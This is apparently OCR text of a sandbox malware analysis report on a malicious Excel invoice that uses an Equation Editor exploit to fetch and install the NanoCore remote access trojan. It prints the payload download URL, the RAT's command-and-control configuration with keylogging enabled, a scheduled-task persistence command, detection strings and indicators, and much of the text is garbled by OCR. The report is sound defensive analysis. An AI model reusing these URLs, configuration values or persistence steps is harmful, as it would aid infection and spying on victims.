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Analysis Report SOL2021-03-14-NETC-NI-21-049-CEVA I...

Overview

General Information Detection Classification
Sample SOL2021-03-14-NETC-NI-

Name: 21-049-CEVA INV.xlsx MALICIOUS Antivirus detection for URL or. domain

Analysis ID: 385193 Detected Nanocore Rat

MD5: X .
216f2652001700d. Found malware configuration
SHA1L:
82d3a0b7bb096d.. Malicious sample detected (through ...
SHA256: 9b393f90c5fabaa..
Multi AV Scanner detection for doma...
Tags:
. Multi AV Scanner, detection for subm...
Infos: SR Q&
A Sigma detected: EQNEDT32.EXE c...

Sigma detected: File Dropped By EQ...

Nanocore Sigma detected: NanoCore
Ca e g — I Score: 100 Sigma detected: Scheduled temp file...
Bror o Range: 0-100 Yara detected AntiVM3
Whitelisted: false
) Yara detected Nanocore RAT
Confidence: 100%

.NET source code contains potentia...

Allocates memory in foreign process...

R AL S N |

(]
I
>
D 2
(=
=
(1]
b (7]

Startup

= System is w7x64

. EXCEL.EXE (PID: 1144 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
. ﬁ EQNEDT32.EXE (PID: 1320 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5:
AB87236E214F6D42A65F5DEDAC816AECS)
! vbc.exe (PID: 2480 cmdline: 'C:\Users\Public\vbc.exe' MD5: A3CBEB3E732B11954572B3EE6755242C)
e W schtasks.exe (PID: 2676 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\gmSIQSien' /XML 'C:\Users\user\AppData\Local\Temp\tmp2720.tmp' MD5:
2003E9B15E1C502B146DAD2E383ACLE3)

e [B RegSvcs.exe (PID: 2696 cmdline: C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegSvcs.exe MD5: 72A9F09010A89860456C6474E2E6D25C)
e B smtpsvc.exe (PID: 1296 cmdline: 'C:\Program Files (x86)\SMTP Service\smtpsvc.exe' MD5: 72A9F09010A89860456C6474E2E6D25C)
= cleanup

.

Malware Configuration

Threatname: NanoCore
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"Version": "1.2.2.0",

"Mutex": "f57d5a77-8670-45ef-b736-5f3a07b6",
"Group": "Addora",

"Domainl": "79.134.225.30",
"Domain2": "nassirull55.ddns.net”,
"Port": 1144,

"KeyboardLogging": "Enable",
"RunOnStartup": "Enable",
"RequestElevation”: "Disable”,
"BypassUAC": "Disable”,
"ClearZoneIdentifier": "Enable",
"Disable”,
"Disable”,

"Enable”,

"ClearAccessControl”

"SetCriticalProcess”
"PreventSystemSleep"”
"ActivateAwayMode": "Disable”,
"EnableDebugMode": "Disable",
"RunDelay": 0,

"ConnectDelay": 4000,
"RestartDelay": 5000,
"TimeoutInterval”: 5000,
"KeepAliveTimeout": 30000,
"MutexTimeout": 5000,
"LanTimeout": 2500,
"WanTimeout": 8000,
"BufferSize": "ffff0000",
"MaxPacketSize": "0000a000",
"GCThreshold": "0000a000",
"UseCustomDNS": "Enable",
"PrimaryDNSServer": "8.8.8.8",
"BackupDNSServer": "8.8.4.4"

Yara Overview

Memory Dumps

Source

00000007.00000002.2394028902.00000000008
40000.00000004.00000001.sdmp

00000007.00000002.2394028902.00000000008
40000.00000004.00000001.sdmp
00000007.00000002.2394028902.00000000008
40000.00000004.00000001.sdmp

00000004.00000002.2197072541.00000000026
A1000.00000004.00000001.sdmp

00000004.00000002.2197311253.00000000036
A1000.00000004.00000001.sdmp

Unpacked PEs

Source

7.2.RegSvcs.exe.380d42c.9.unpack

7.2.RegSvcs.exe.380d42c.9.unpack

7.2.RegSvcs.exe.380d42c.9.unpack
4.2.vbc.exe.26b2ea0.3.raw.unpack

4.2.vbc.exe.3890588.5.raw.unpack
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Rule Description

Detetcs the
Nanocore RAT

Nanocore_RAT_Gen_2

Nanocore_RAT_Feb18 1 Detects Nanocore
RAT

Yara detected
Nanocore RAT

JoeSecurity_Nanocore
JoeSecurity_AntiVM_3 Yara detected
AntiVM_3

Nanocore_RAT_Gen_2 Detetcs the

Nanocore RAT

Click to see the 16 entries

Rule Description

Nanocore_RAT_Gen_2 Detetcs the

Nanocore RAT

Nanocore_RAT_Feb18 1 Detects Nanocore
RAT

Yara detected
Nanocore RAT

JoeSecurity_Nanocore

Yara detected
AntiVM_3

JoeSecurity_AntiVM_3

Nanocore_RAT_Gen_2 Detetcs the

Nanocore RAT

Click to see the 37 entries

Author
Florian Roth

Florian Roth

Joe Security

Joe Security

Florian Roth

Author
Florian Roth

Florian Roth

Joe Security

Joe Security

Florian Roth

Strings

e o o o o

0xf7ad:$x1: NanoCore.ClientPluginHost
0xf7da:$x2: IClientNetworkHost

0xf7ad:$x2: NanoCore.ClientPluginHost
0x10888:$s4: PipeCreated
0xf7c7:$s5: IClientLoggingHost

0x1ff715:$x1: NanoCore.ClientPluginHost
0x231f35:$x1: NanoCore.ClientPluginHost
0x1ff752:$x2: IClientNetworkHost

0x231f72:$x2: IClientNetworkHost

0x203285:$x3: #=0jgz7ljmpp0J7FvL9dmi8ctIILdgtcbw8
JYUc6GC8MeJ9B11Crfg2DjxcfOp8PZGe
0x235aa5:$x3: #=0jgz7ljmpp0J7FvL9dmi8ctIILdgtcbw8
JYUc6GC8MeJ9B11Crfg2DjxcfOp8PZGe

Strings

e o o o o

0xd9ad:$x1: NanoCore.ClientPluginHost
0xd9da:$x2: IClientNetworkHost

0xd9ad:$x2: NanoCore.ClientPluginHost
Oxea88:$s4: PipeCreated
0xd9c7:$s5: IClientLoggingHost

0x1018d:$x1: NanoCore.ClientPluginHost
0x429ad:$x1: NanoCore.ClientPluginHost
0x101ca:$x2: IClientNetworkHost

0x429ea:$x2: IClientNetworkHost

0x13cfd:$x3: #=0jgz7!jmpp0J7FvLIdmi8ctILdgtcbw8J
YUc6GC8MeJ9B11Crfg2DjxcfOp8PZGe

0x4651d:$x3: #=0jgz7ljmpp0J7FvL9dmi8ctJiLdgtcbw8J
YUc6GC8MeJ9B11Crfg2DjxcfOp8PZGe
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Sigma Overview

System Summary:

Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: NanoCore

Sigma detected: Scheduled temp file as task from temp location

Signature Overview

@ AV Detection

@ Exploits

@ Compliance

@ Software Vulnerabilities

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

@ System Summary

©® Data Obfuscation

@ Persistence and Installation Behavior

@ Boot Survival

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

@ Remote Access Functionality

@

AV Detection:

Click to jump to signature section

Antivirus detection for URL or domain
Found malware configuration

Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file

Yara detected Nanocore RAT

Exploits:

Networking: _ |

E-Banking Fraud: | |

Yara detected Nanocore RAT

System Summary: -
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Malicious sample detected (through community Yara rule)

Data Obfuscation:

‘]

Boot Survival:

“ =

Hooking and other Techniques for Hiding and Protection:

‘]

Malware Analysis System Evasion:

=

Yara detected AntiVM3

HIPS | PFW | Operating System Protection Evasion:

=

Stealing of Sensitive Information:

=

Yara detected Nanocore RAT

Remote Access Functionality:

=

Detected Nanocore Rat

Yara detected Nanocore RAT

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Com
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Cont
Valid Exploitation for ' Scheduled  Extra Window Disable or Modify Input File and Directory Remote Archive Exfiltration Over Other  Ingre
Accounts Client Task/Job Memory Tools Capture Discovery Services Collected Network Medium Tran
Execution Injection Data
Default Command and  Boot or Access Token Deobfuscate/Decode  LSASS System Information Remote Input Exfiltration Over Encr
Accounts Scripting Logon Manipulation Files or Information Memory Discovery Desktop Capture Bluetooth Char
Interpreter Initialization Protocol
Scripts
Domain Scheduled Logon Script Process Obfuscated Files or Security Security Software SMB/Windows Data from Automated Exfiltration Non-
Accounts Task/Job (Windows)  Injection Information Account Discovery Admin Shares Network Port
Manager Shared Drive
Local At (Windows)  Logon Script Scheduled Software NTDS Process Discovery Distributed Input Capture Scheduled Transfer Rem
Accounts (Mac) Task/Job Packing Component Softv
Object Model
Cloud Cron Network Network Logon  Extra Window Memory LSA Secrets  Virtualization/Sandbox SSH Keylogging Data Transfer Size Non-
Accounts Logon Script Script Injection Evasion Limits Laye

Copyright Joe Security LLC 2021 Page 7 of 45



Initial Privilege Credential Lateral Com

Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Cont

Replication  Launchd Rc.common Rc.common Masquerading Cached Application Window  VNC GUI Input Exfiltration Over C2 Appl

Through Domain Discovery Capture Channel Protc

Removable Credentials

Media

External Scheduled Task Startup Startup Items Virtualization/Sandbox DCSync Remote System Windows Web Portal Exfiltration Over Com

Remote Items Evasion Discovery Remote Capture Alternative Protocol Port

Services Management

Drive-by Command and Scheduled  Scheduled Access Token Proc Network Service Shared Credential Exfiltration Over Appl

Compromise Scripting Task/Job Task/Job Manipulation Filesystem Scanning Webroot API Hooking  Symmetric Encrypted Protc
Interpreter Non-C2 Protocol

Exploit PowerShell At (Linux) At (Linux) Process letc/passwd  System Network Software Data Staged  Exfiltration Over Web

Public- Injection and Connections Deployment Asymmetric Encrypted

Facing letc/shadow  Discovery Tools Non-C2 Protocol

Application

Supply AppleScript At At (Windows) Hidden Files and Network Process Discovery Taint Shared  Local Data Exfiltration Over File

Chain (Windows) Directories Sniffing Content Staging Unencrypted/Obfuscated Protc

Compromise Non-C2 Protocol

Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

B I P e I i e
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B EREGEE Ny SOL2021-03-14-NETC-NI-21-049-CEVA INV - Microsoft Excel - SOL2021-03-14-NETC-NI-21-049-CEVA INV
Home | Insert  Pagelayout  Formuls  Data  Review  View
=% cut " = | "E| ¥ AutoSum v g
Calibri > S Wrap Text - | B
33 Copy ~ d el e ol @] Fin - Zl
Paste B I U-|ii-| & SiMergeacenter- | § v % 3 | %@ 09 | Conditional Format Cell | Insert Delete Format Sort & Find &
 Format Painter - & - N =% | Formatting - as Table 5 - Qdear~  Fiter- Select-
Clipboard 5 Alignment Humber Styles Cells Editing

E

E!:, Microsof.t'
s Office

This document is
) protected Enae Contet o

e |

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Source Detection Scanner Label Link

C:\Program Files (x86)\SMTP Service\smtpsvc.exe 0% Metadefender Browse

C:\Program Files (x86)\SMTP Service\smtpsvc.exe 0% ReversingLabs

Unpacked PE Files
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https://www.virustotal.com/gui/file/9b393f90c5fa6aabf671d0f80a9ee0e4f44330cd3ee14dc0d9066f978d9435ff/detection/f-9b393f90c5fa6aabf671d0f80a9ee0e4f44330cd3ee14dc0d9066f978d9435ff-1618206866
https://www.metadefender.com/#!/results/file/YnpFNU1UQXpNVWd4YmxFMlkyZFBOVWdISk1pcGlndXFT/regular/analysis

Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
covid19vaccinations.hopto.org 2% Virustotal Browse
URLs

Source Detection Scanner Label Link
nassiru1155.ddns.net 0% Avira URL Cloud safe

hitp:/fiwww.%s.comPA 0% URL Reputation safe

hitp:/fiwww.%s.comPA 0% URL Reputation safe

hitp:/fiwww.%s.comPA 0% URL Reputation safe

hitp:/fiwww.%s.comPA 0% URL Reputation safe

[ e e = B 1 = ) I ETE- N
[ T - o o ) IR

79.134.225.30 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

Contacted URLs
Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation
hitp:/iwww.%s.comPA vbc.exe, 00000004.00000002.220 false * URL Reputation: safe low
2209803.0000000005540000.00000 e URL Reputation: safe
002.00000001.sdmp, RegSvcs.exe, * URL Reputation: safe
00000007.00000002.2395892834 e URL Reputation: safe

.0000000004FE0000.00000002.000
00001.sdmp

hitp:// vbc.exe, 00000004.00000002.220 false high
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 2209803.0000000005540000.00000

002.00000001.sdmp, RegSvcs.exe,

00000007.00000002.2395892834

.0000000004FE0000.00000002.000

00001.sdmp
hitp:// vbc.exe, 00000004.00000002.219 false high
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstr 7072541.00000000026A1000.00000
ap.min.css 004.00000001.sdmp

Contacted IPs
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https://www.virustotal.com/gui/url/db0377431f177e6eb6c0f6b5be2312c7caf622054f70ceb4f284ae28c5a3f591/detection/u-db0377431f177e6eb6c0f6b5be2312c7caf622054f70ceb4f284ae28c5a3f591-1618194332
https://www.virustotal.com/gui/url/f58521ef23e6aaf17a65f05877840fcc1ee010e8ffe567f4db3afd5cacd8bd28/detection/u-f58521ef23e6aaf17a65f05877840fcc1ee010e8ffe567f4db3afd5cacd8bd28-1618066557
https://www.virustotal.com/gui/url/db0377431f177e6eb6c0f6b5be2312c7caf622054f70ceb4f284ae28c5a3f591/detection/u-db0377431f177e6eb6c0f6b5be2312c7caf622054f70ceb4f284ae28c5a3f591-1618194332
https://www.virustotal.com/gui/url/f58521ef23e6aaf17a65f05877840fcc1ee010e8ffe567f4db3afd5cacd8bd28/detection/u-f58521ef23e6aaf17a65f05877840fcc1ee010e8ffe567f4db3afd5cacd8bd28-1618066557

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

P Domain Country Flag

13.235.115.155 covid19vaccinations.hopto. United States =
org

79.134.225.30 unknown Switzerland

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:
Copyright Joe Security LLC 2021

ASN
16509

6775

ASN Name Malicious
AMAZON-02US true
FINK-TELECOM- true
SERVICESCH

31.0.0 Emerald

385193

12.04.2021

08:01:11

CloudBasic

0Oh 9m 12s

false

light

SOL2021-03-14-NETC-NI-21-049-CEVA INV.xlsx
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

11

o O o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default
Timeout
MAL
mal100.troj.expl.evad.winXLSX@9/29@15/2
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EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

08:02:19
08:02:23
08:02:25
08:02:31
08:02:35

Failed

Successful, ratio: 1.7% (good quality ratio 1.1%)
Quality average: 41.9%
Quality standard deviation: 34.8%

Successful, ratio: 97%
Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension:
Xlsx

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

Show All

Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe, svchost.exe

TCP Packets have been reduced to 100
Report size getting too big, too many NtCreateFile
calls found.

Report size getting too big, too many
NtOpenKeyEx calls found.

Report size getting too big, too many
NtQueryAttributesFile calls found.

Report size getting too big, too many
NtQueryValueKey calls found.

Report size getting too big, too many
NtSetInformationFile calls found.

Type Description

API Interceptor 68x Sleep call for process: EQNEDT32.EXE modified

API Interceptor 24x Sleep call for process: vbc.exe modified

API Interceptor 1x Sleep call for process: schtasks.exe modified

API Interceptor 1206x Sleep call for process: RegSvcs.exe modified

Autostart Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run SMTP Service C:\Program Files (x86)\SMTP Ser

vice\smtpsvc.exe

Joe Sandbox View | Context

IPs

Match
79.134.225.30

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link Context
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse
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https://view.joesandbox.com/analysis/292735/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292735/html/none?idtype=webid
https://view.joesandbox.com/analysis/292499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292499/html/none?idtype=webid
https://view.joesandbox.com/analysis/292467/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292467/html/none?idtype=webid
https://view.joesandbox.com/analysis/292459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292459/html/none?idtype=webid
https://view.joesandbox.com/analysis/291848/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291848/html/none?idtype=webid
https://view.joesandbox.com/analysis/267144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267144/html/none?idtype=webid
https://view.joesandbox.com/analysis/266472/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266472/html/none?idtype=webid
https://view.joesandbox.com/analysis/252793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252793/html/none?idtype=webid
https://view.joesandbox.com/analysis/247629/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247629/html/none?idtype=webid
https://view.joesandbox.com/analysis/247626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247626/html/none?idtype=webid
https://view.joesandbox.com/analysis/247579/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247579/html/none?idtype=webid
https://view.joesandbox.com/analysis/247566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247566/html/none?idtype=webid
https://view.joesandbox.com/analysis/247443/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247443/html/none?idtype=webid
https://view.joesandbox.com/analysis/247346/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247346/html/none?idtype=webid
https://view.joesandbox.com/analysis/224070/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224070/html/none?idtype=webid
https://view.joesandbox.com/analysis/219328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/219328/html/none?idtype=webid
https://view.joesandbox.com/analysis/218326/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218326/html/none?idtype=webid
https://view.joesandbox.com/analysis/218261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218261/html/none?idtype=webid

Match

Domains

Match

covid19vaccinations.hopto.org

ASN

Match
FINK-TELECOM-SERVICESCH

AMAZON-02US

JA3 Fingerprints

No context

Dropped Files

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256

Get hash

SHA 256

>
I
@
o
1]
2
®
o
[
o
3
=2
o
2
o
3
o
(=
A
[

Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
I
@
o
o,
2
®
o
[
o
3
=2
o
2
o
3
o
(=
A
[

Detection

malicious

Detection
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Link
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

Context

34.220.10.254

144.168.16
3.101

Context

79.134.225.112
79.134.225.30
79.134.225.30
79.134.225.30
79.134.225.30
79.134.225.40
79.134.225.118
79.134.225.9
79.134.225.102
79.134.225.30
79.134.225.21

79.134.225.79
79.134.225.102
79.134.225.92
79.134.225.92

79.134.225.102
79.134.225.25
79.134.225.7
79.134.225.7
79.134.225.23
52.59.165.42
52.59.165.42

108.128.23
8.226

18.184.197.212
52.59.165.42
52.59.165.42
52.59.165.42
3.14.206.30
3.22.15.135
3.142.167.54
3.13.191.225

99.83.185.45
3.13.255.157
3.13.255.157
52.84.150.34
52.58.78.16
65.9.66.79
65.9.66.79
13.56.33.8
35.157.204.206

Page 13 of 45


https://view.joesandbox.com/analysis/216494/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216494/html/none?idtype=webid
https://view.joesandbox.com/analysis/292499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292499/html/none?idtype=webid
https://view.joesandbox.com/analysis/291916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291916/html/none?idtype=webid
https://view.joesandbox.com/analysis/292872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292872/html/none?idtype=webid
https://view.joesandbox.com/analysis/292735/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292735/html/none?idtype=webid
https://view.joesandbox.com/analysis/292499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292499/html/none?idtype=webid
https://view.joesandbox.com/analysis/292467/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292467/html/none?idtype=webid
https://view.joesandbox.com/analysis/292459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292459/html/none?idtype=webid
https://view.joesandbox.com/analysis/292324/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292324/html/none?idtype=webid
https://view.joesandbox.com/analysis/291927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291927/html/none?idtype=webid
https://view.joesandbox.com/analysis/291908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291908/html/none?idtype=webid
https://view.joesandbox.com/analysis/291893/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291893/html/none?idtype=webid
https://view.joesandbox.com/analysis/291848/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291848/html/none?idtype=webid
https://view.joesandbox.com/analysis/291522/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291522/html/none?idtype=webid
https://view.joesandbox.com/analysis/291515/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291515/html/none?idtype=webid
https://view.joesandbox.com/analysis/291355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291355/html/none?idtype=webid
https://view.joesandbox.com/analysis/291217/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291217/html/none?idtype=webid
https://view.joesandbox.com/analysis/291216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/291216/html/none?idtype=webid
https://view.joesandbox.com/analysis/290947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290947/html/none?idtype=webid
https://view.joesandbox.com/analysis/290257/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290257/html/none?idtype=webid
https://view.joesandbox.com/analysis/290086/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/290086/html/none?idtype=webid
https://view.joesandbox.com/analysis/289993/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/289993/html/none?idtype=webid
https://view.joesandbox.com/analysis/289856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/289856/html/none?idtype=webid
https://view.joesandbox.com/analysis/293003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293003/html/none?idtype=webid
https://view.joesandbox.com/analysis/292997/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292997/html/none?idtype=webid
https://view.joesandbox.com/analysis/292996/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292996/html/none?idtype=webid
https://view.joesandbox.com/analysis/292995/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292995/html/none?idtype=webid
https://view.joesandbox.com/analysis/292993/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292993/html/none?idtype=webid
https://view.joesandbox.com/analysis/292992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292992/html/none?idtype=webid
https://view.joesandbox.com/analysis/292991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292991/html/none?idtype=webid
https://view.joesandbox.com/analysis/292978/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292978/html/none?idtype=webid
https://view.joesandbox.com/analysis/292939/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292939/html/none?idtype=webid
https://view.joesandbox.com/analysis/292922/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292922/html/none?idtype=webid
https://view.joesandbox.com/analysis/292909/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292909/html/none?idtype=webid
https://view.joesandbox.com/analysis/292887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292887/html/none?idtype=webid
https://view.joesandbox.com/analysis/292881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292881/html/none?idtype=webid
https://view.joesandbox.com/analysis/292870/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292870/html/none?idtype=webid
https://view.joesandbox.com/analysis/292822/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292822/html/none?idtype=webid
https://view.joesandbox.com/analysis/292780/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292780/html/none?idtype=webid
https://view.joesandbox.com/analysis/292775/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292775/html/none?idtype=webid
https://view.joesandbox.com/analysis/292773/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292773/html/none?idtype=webid
https://view.joesandbox.com/analysis/292745/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292745/html/none?idtype=webid
https://view.joesandbox.com/analysis/292744/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292744/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context

C:\Program Files (x86)\SMTP _ Get hash malicious Browse

Created / dropped Files

C:\Program Files (x86)\SMTP Servicel\smtpsvc.exe v

Process: C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegSvcs.exe

File Type: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 32768

Entropy (8bit):  3.7499114035101173

Encrypted: false

SSDEEP: 384:D0j9Y8/gS7SDriLGKg1MHR534Jg6ihJSXUCR1rgCPKabK2t0OX5P7DZ+JgySW7XxW:D+gSAdNIMH3IIFRIngyX

MD5: 72A9F09010A89860456C6474E2E6D25C

SHA1L: E4ACB506146F60D01EA9E6132020DEF61974A88C3

SHA-256: 7299EB6E11C8704E7CB18F57879550CDD88EF7B2AE8CBA031B795BC5D92CESE3

SHA-512: BCD7EC694288BAF751C62E7CEO03B4E932E86C60EOCFE67360B135FE2BO9EB3BCC97DCDB484CFCIC50DC18289E824439A07EBS5FF61DD2C2632F3E83ED77F0C
A37

Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

Joe Sandbox
View:

Reputation:

Preview:

e Antivirus: ReversingLabs, Detection: 0%

e Filename: 69JCWICJ9872001.exe, Detection: malicious, Browse
e Filename: Proforma 0089 05 2019.xlIsx, Detection: malicious, Browse

low

k

LH.

K

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

|IE Cache URL:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

downloaded

802304

7.807064216316379

false
12288:fqgPhNb1CpcOvs3YpRTYmuCBWhfCfyxmbKzYwafnJMKrXe3tw2luRVZzQKag:iPhxcpHUIpRTY0cluyUeU3nJMKoCaq
A3CBEB3E732B11954572B3EE6755242C

EBB41B49DE8F1B09EA20DABFFCFD85B93B68D7F3
E006460AD1E34DDBBC28430C2D529A7EE491893C7AE8B6902B2D8D8C56620510
455C3CAE5F85B8F3334004E09C5EF42BB6ES410F7501AEFOD520E1023EB376E31D6FA892DAB8DCBAAEA94914F31EC7915E8424362F1046F25F9B55C58EF94BD!
true

e Antivirus: Joe Sandbox ML, Detection: 100%

low

hitp://covid19vaccinations.hopto.org/nano.exe

(&..*&.. (.. *8(. . .
2.0 pe(3..04..85. L0

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\27A56AD2.png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

PNG image data, 1268 x 540, 8-bit/color RGBA, non-interlaced

dropped

51166

7.767050944061069

false
1536:zdKgAWKOL5H8LILtoEdJ90ShB7IaAvRXDIBig49A:JDAQIH8/GMSdhahg49A
8C29CF033A1357A8DE6BF1FC4D0B2354
85B228BBCB0DC60D40F4D3473E10B742E7B9039E
E7B744F45621B40AC44F270A9D714312170762CA4A7DAF2BA78D5071300EF454
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https://view.joesandbox.com/analysis/111442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/111442/html/none?idtype=webid
